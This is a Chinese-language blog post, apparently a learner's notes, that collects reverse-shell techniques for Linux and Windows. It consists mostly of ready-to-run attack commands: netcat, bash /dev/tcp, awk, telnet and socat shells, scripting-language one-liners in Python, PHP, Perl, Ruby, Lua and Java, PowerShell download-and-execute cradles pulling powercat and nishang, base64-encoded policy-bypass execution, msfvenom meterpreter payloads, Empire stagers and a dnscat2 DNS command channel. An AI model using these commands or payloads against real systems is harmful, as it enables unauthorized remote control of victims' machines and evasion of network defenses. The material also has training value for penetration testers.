zoukankan      html  css  js  c++  java
  • Windos/Linux 反弹 shell

    参考文章

    反弹shell的各种姿势
    powershell反弹shell常见方式

    前言

    最近在学内网,就从最基础的知识开始学习、整理

    正向连接

    攻击者去连接受害者
    弊端:当受害者处于局域网内无法使用正向连接;当受害者 IP 实时变化时无法持续连接。

    反向连接

    受害者主动连接攻击者

    前提

    为什么要反弹 shell?通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

    接收端采用 nc 监听 2333 端口

    nc -lvp 2333
    

    并且其 IP 地址为:192.168.230.136

    Linux

    nc 反弹

    第一种:nc 支持 -e 选项

    nc -e /bin/bash 192.168.230.136 2333
    


    注意:需要在靶机上已经安装了 nc 工具

    第二种:不支持 -e

    nc 192.168.230.136 2333| /bin/bash |192.168.230.136 6666
    

    注:需在攻击机上监听两个端口,2333 为命令执行端,6666 为 命令结果接收端

    bash 反弹

    • 第一种:
    bash -i >& /dev/tcp/192.168.230.136/2333 0>&1
    


    注:当直接使用终端执行该命令的话,关闭终端的同时,反弹的 shell 也会被关闭

    • 第二种:
    exec 5<>/dev/tcp/192.168.230.136/2333;cat <&5 | while read line; do $line 2>&5 >&5;done
    


    注:exec /bin/sh 0</dev/tcp/192.168.230.136/2333 1>&0 2>&0这种方式一执行,终端就闪退,导致失败

    awk 反弹

    第一种:

    awk 'BEGIN{s="/inet/tcp/0/192.168.230.136/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
    

    注:速度好像有点慢,需要等一会才行

    第二种:
    脚本:test.txt

    BEGIN {
            Service = "/inet/tcp/0/192.168.230.136/2333"
            while (1) {
                    do {
                            printf Prompt |& Service
                            Service |& getline cmd
                            if (cmd) {
                                    while ((cmd |& getline) > 0)
                                            print $0 |& Service
                                    close(cmd)
                            }
                    } while (cmd != "exit")
                    close(Service)
            }
    }
    

    执行

    /usr/bin/gawk -f test.txt
    

    telnet 反弹

    第一种:

    telnet 192.168.230.136 2333 | /bin/bash | telnet 192.168.230.136 6666
    

    注:需要在攻击主机上分别监听 2333 和 6666 端口,执行反弹 shell 命令后,在 2333 终端输入命令,6666 查看命令执行后的结果。在执行的时候可能会出现了如下错误,但反弹仍能成功

    第二种:

    mknod backpipe p && telnet 192.168.230.136 2333 0<backpipe | /bin/bash 1>backpipe
    

    注:只需要监听一个 2333 端口即可

    socat 反弹

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.230.136:2333
    

    脚本语言反弹

    • Python 2/3 皆可
    # 1. 
    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.230.136',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    # 2.
    python -c "exec("import socket, subprocess;s = socket.socket();s.connect(('192.168.230.136',2333))
    while 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"
    
    • PHP
    php -r '$sock=fsockopen("192.168.230.136",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    • Perl
    perl -e 'use Socket;$i="192.168.230.136";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'   # 也可以反弹 /bin/bash
    
    • Ruby
    # 1.
    ruby -rsocket -e'f=TCPSocket.open("192.168.230.136","2333").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    
    # 2.
    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.230.136","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    

    注:很遗憾失败了

    • Lua
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.230.136','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    
    • JAVA

    脚本:Revs.java

    public class Revs {
        /**
        * @param args
        * @throws Exception 
        */
    public static void main(String[] args) throws Exception {
            // TODO Auto-generated method stub
            Runtime r = Runtime.getRuntime();
            String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.230.136/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process p = r.exec(cmd);
            p.waitFor();
        }
    }
    

    将上述脚本保存为文件,编译、执行即可

    javac Revs.java 
    java Revs
    

    Windows

    powershell 反弹

    第一种:
    前提:下载 nc 版本的 powershell-----powercat
    在 powershell 中执行:

    Import-Module ./powercat.ps1
    powercat -c 192.168.230.136 -p 2333 -e cmd
    

    第二种:
    直接在 powershell/cmd 中执行

    powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://github.com/besimorhino/powercat/blob/master/powercat.ps1'); powercat -c 192.168.230.136 -p 2333 -e cmd
    

    注:某些时候需要将其进行 base64 编码,比如在 sqlserver 中和在 php 的 system 函数中

    $text="IEX((New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1'))";
    $Bytes=[System.Text.Encoding]::Unicode.GetBytes($Text);
    $EncodedText =[Convert]::ToBase64String($Bytes) $EncodedText > bs64.txt
    
    然后执行:poweshell -exec bypass -encodedcommand bs64.txt;powercat -c 192.168.230.136 -p 2333 -e cmd
    

    nc 反弹

    下载地址:nc

    nc 192.168.230.136 2333 -e c:windowssystem32cmd.exe
    

    注:上面的方式是将 nc 添加到环境变量了,未添加可用:netcat.exe 192.168.230.136 2333 -e c:windowssystem32cmd.exe

    msfvenom

    前提:攻击机上使用 msf 监听

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST=192.168.230.136
    set LPORT=2333
    
    • exe
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.136 LPORT=2333 -f exe -o test.exe
    

    然后将生成的 exe 文件上传到目标机器上双击执行即可

    • dll
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.230.136 LPORT=2333 -f dll -o /tmp/reverse_tcp.dll
    

    然后将生成的 dll 文件上传到目标机器上执行regsvr32.exe /s /u reverse_tcp.dll

    脚本语言反弹

    跟在 Linux 平台上相似,可以利用各种脚本语言反弹shell,只不过反弹的不是 /bin/bash ,而实 cmd,例如:

    ruby -rsocket -e 'c=TCPSocket.new("192.168.230.136p","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    

    Cobalt strike 反弹

    1、配置监听器:点击 Cobalt Strike——>Listeners——>在下方 Tab 菜单 Listeners ,点击 add。
    2、生成 payload:点击 Attacks——>Packages——>Windows Executable,保存文件位置。
    3、目标机执行 powershell payload
    

    Empire 反弹

    usestager windows/launcher_vbs
    info
    set Listener test
    execute
    

    nishang 框架

    nishang是一个基于 PowerShell 的攻击框架,集合了一些 PowerShell 攻击脚本和有效载荷,可反弹 TCP/ UDP/ HTTP/HTTPS/ ICMP 等类型 shell

    • Reverse TCP shell
    powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/tree/master/Shells/Invoke-PowerShellTcp.ps1');
    Invoke-PowerShellTcp -Reverse -IPAddress 192.168.230.136 -port 2333
    
    • Reverse UDP shell
    powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/tree/master/Shells/Invoke-PowerShellUdp.ps1');
    Invoke-PowerShellUdp -Reverse -IPAddress 192.168.230.136 -port 2333
    

    Dnscat 反弹

    下载地址:Dnscat2

    dnscat2是一个 DNS 隧道,旨在通过 DNS 协议创建加密的命令和控制(C&C)通道。dnscat2 分为两部分:客户端和服务器。dnscat2 客户端采用 C 语言编写,服务器端采用 ruby 语言编写。后来又有安全研究人员使用 PowerShell 脚本重写了 dnscat2 客户端 dnscat2-powershell
    利用 dnscat2 和 dnscat2-powershell 实现反弹 DNS shell:

    具体操作:

    攻击者(192.168.230.136)开启监听:
    ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.230.136" --no-cache -e open
    -e open 不使用加密连接,默认使用加密
    ruby dnscat2.rb —help 查看帮助
    目标机执行:
    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.230.136
    成功反弹 shell 后,攻击者:
    session -i 1 # 进入到session 1
    shell # 执行之后会新生成一个 session 需要通过 session -i 2 切换
    session -i 2

  • 相关阅读:
    区分JS的空值
    死锁
    高效的SQLSERVER分页方案
    IIS经典模式VS集成模式
    MVC过滤器
    Request接收参数乱码原理解析
    int三种转化区别
    Area使用
    Action和Partial等区别
    Log4Net
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/13453501.html
Copyright © 2011-2022 走看看